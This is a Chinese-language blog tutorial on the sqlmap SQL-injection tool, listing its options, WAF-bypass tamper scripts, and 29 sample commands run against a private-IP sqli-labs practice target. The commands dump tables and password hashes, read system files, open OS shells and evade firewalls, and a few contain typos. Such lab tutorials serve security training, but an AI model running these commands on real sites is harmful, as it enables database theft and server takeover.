sqlmap的简单使用

基础

sqlmap使用参数

-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
-a, --all           获取所有信息
-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db 列出当前数据库
--hostname         获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--roles            枚举数据库管理系统用户的角色
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--exclude-sysdbs    枚举表时排除系统数据库
--pivot-column=P..  Pivot columnname
--where=DUMPWHERE   Use WHEREcondition while table dumping
--start=LIMITSTART  获取第一个查询输出数据位置
--stop=LIMITSTOP   获取最后查询的输出数据
--first=FIRSTCHAR   第一个查询输出字的字符获取
--last=LASTCHAR    最后查询的输出字字符获取
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell
--sql-file=SQLFILE  要执行的SQL文件
--common-tables     检查存在共同表
--common-columns    检查存在共同列
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入,调用多个脚本的时候,脚本之间用逗号隔开
-v 指定sqlmap的回显等级,0:只显示python错误以及严重信息;1:同时显示基本信息和警告信息;2:同时显示debug信息;3:同时显示注入的pyload;4:同时显示HTTP请求;5:同时显示HTTP相应头;6:同时显示HTTP相应页面。
--delay 设置多久访问一次,为避免访问频繁被防火墙拦截
--os-shell 执行系统命令,获取主机shell,一般不太好用,因为没权限
--os-cmd   执行系统命令
--os-pwn          获取一个OOB shell,meterpreter或VNC
--os-smbrelay       一键获取一个OOBshell,meterpreter或VNC
--os-bof           存储过程缓冲区溢出利用
--priv-esc          数据库进程用户权限提升
--msf-path=MSFPATH  MetasploitFramework本地的安装路径
--tmp-path=TMPPATH  远程临时文件目录的绝对路径
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级,level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
--safe-url 有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--cookie=COOKIE     HTTP Cookieheader 值
--cookie-del=COO..  用来分隔cookie的字符串值
--load-cookies=L..  Filecontaining cookies in Netscape/wget format
--drop-set-cookie   IgnoreSet-Cookie header from response
--user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
--random-agent     使用random-agent作为HTTP User-Agent头值
--host=HOST         HTTP Hostheader value
--referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入
-H HEADER, --hea..  额外的http头(e.g."X-Forwarded-For: 127.0.0.1")
--headers=HEADERS  可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH..  HTTP 认证凭证(name:password)
--auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
--ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)
--ignore-proxy      忽略系统的默认代理设置
--ignore-redirects忽略重定向的尝试
--ignore-timeouts   忽略连接超时
--proxy=PROXY       使用代理服务器连接到目标URL
--proxy-cred=PRO..  代理认证凭证(name:password)
--proxy-file=PRO..  从文件加载代理列表
--tor               使用Tor匿名网络
--tor-port=TORPORT  设置Tor代理端口
--tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
--check-tor       检查Tor的是否正确使用
--retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
--safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
--safe-req=SAFER..  从文件中加载安全HTTP请求
--safe-freq=SAFE..  测试一个给定安全网址的两个访问请求
--skip-urlencode    跳过URL的有效载荷数据编码
--csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
--csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌
--force-ssl         强制使用SSL/HTTPS
--hpp               使用HTTP参数污染的方法
--eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")
--string=STRING    查询时有效时在页面匹配字符串
--not-string=NOT..  当查询求值为无效时匹配的字符串
--regexp=REGEXP     查询时有效时在页面匹配正则表达式
--code=CODE       当查询求值为True时匹配的HTTP代码
--text-only        仅基于在文本内容比较网页
--titles           仅根据他们的标题进行比较
--technique=TECH    SQL注入技术测试(默认BEUST)
--time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)
--union-cols=UCOLS  定列范围用于测试UNION查询注入
--union-char=UCHAR  暴力猜测列的字符数
--union-from=UFROM  SQL注入UNION查询使用的格式
--dns-domain=DNS..  DNS泄露攻击使用的域名
--second-order=S..  URL搜索产生的结果页面
-f, --fingerprint   执行广泛的DBMS版本指纹检查
--udf-inject    注入用户自定义函数
--shared-lib=SHLIB  共享库的本地路径
--file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
--file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
--reg-read          读一个Windows注册表项值
--reg-add           写一个Windows注册表项值数据
--reg-del           删除Windows注册表键值
--reg-key=REGKEY    Windows注册表键
--reg-value=REGVAL  Windows注册表项值
--reg-data=REGDATA  Windows注册表键值数据
--reg-type=REGTYPE  Windows注册表项值类型

...

sqlmap脚本

apostrophemask.py              用UTF-8全角字符替换单引号字符
apostrophenullencode.py        用非法双字节unicode字符替换单引号字符
appendnullbyte.py              在payload末尾添加空字符编码
base64encode.py                对给定的payload全部字符使用Base64编码
between.py                     分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py                    在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py            对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py                  对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py           对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py                用“LIKE”运算符替换全部等于号“=”
greatest.py                   用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py  在每个关键字之前添加MySQL注释
ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py                  用小写值替换每个关键字字符
modsecurityversioned.py       用注释包围完整的查询
modsecurityzeroversioned.py   用当中带有数字零的注释包围完整的查询
multiplespaces.py             在SQL关键字周围添加多个空格
nonrecursivereplacement.py    用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py               转换给定的payload当中的所有字符
percentage.py                 在每个字符之前添加一个百分号
randomcase.py                 随机转换每个关键字字符的大小写
randomcomments.py             向SQL关键字中插入随机注释
securesphere.py               添加经过特殊构造的字符串
sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py              用“/**/”替换空格符
space2dash.py                 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py                 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py             用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py            用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py            用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py                 用加号“+”替换空格符
space2randomblank.py          用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py            用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py              用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py                    添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py          用MySQL注释包围每个非函数关键字
versionedmorekeywords.py      用MySQL注释包围每个关键字
xforwardedfor.py              添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

实验

 1、GET请求,判断是否存在注入点,,当注入点存在两个或两个以上的参数时,需要用双引号将url进行包裹

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1

  

2、POST请求,判断是否存在注入点,在burp中抓包,将请求内容保存为txt文本,然后使用sqlmap进行检测

sqlmap.py -r 1.txt  

  

3、查询当前用户下的所有数据库

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --dbs    

    

4、获取数据库中的表名

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 -D security --tables

    

5、获取表中的字段名

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 -D security -T users --columns

  

6、获取字段内容

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 -D security -T users -C username,id --dump

7、获取数据库的所有用户

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --users

8、获取数据库用户的密码

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --passwords

9、获取当前数据库名称

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --current-db

10、获取当前网站数据库的用户名称

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --current-user

11、URL重写SQL注入测试

sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

12、列举并破解密码哈希值

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --passwords

13、获取表中的数据个数

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --count -D security

14、对网站进行漏洞爬取

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --batch --crawl=3

15、基于布尔注入预估时间

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 -b --eta 

16、使用hex避免字符编码导致数据丢失

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --banner --hex -v 3 --parse-errors

17、模拟测试手机环境站点

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --mobile

18、智能判断测试

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --batch --smart

19、自动填写表单注入

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 数据库名称--tables

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump

20、读取linux下文件

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --file /etc/password

21、延时注入

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --technique -T--current-user

22、cookies注入

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 –-cookies "id=1"  –dbs –level 2

23、mysql提权

24、执行shell命令

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --os-cmd="netuser" /*执行net user命令*/

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --os-shell /*系统交互的shell*/

25、判断当前用户是否为管理权限

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --is-dba

26、列出数据库管理员角色

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --roles

27、伪造referer头

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --level 3 --referer http://www.baidu.com

28、运行自定义SQL语句

sqlmap.py -u http://192.168.86.131/sqli/Less-1/?id=1 --level 3 --sql-shell

29、运行tamper中的脚本,以bypass为例

  sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper

指定单个脚本进行绕过

sqlmap -u "http://192.168.86.131/sqli/Less-1/?id=1" --tamper=space2plus.py 

指定多个脚本进行绕过

sqlmap -u "http://192.168.86.131/sqli/Less-1/?id=1" --tamper="space2plus.py,space2comment.py"

 当然除过tamper中指定脚本绕过外,还可以通过参数选项绕过

#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

 

  还有很多关于sqlmap的组合使用,可根据sqlmap的参数选项来进一步使用sqlmap。

posted @ 2023-01-28 21:56  catg0d  阅读(42)  评论(0)    收藏  举报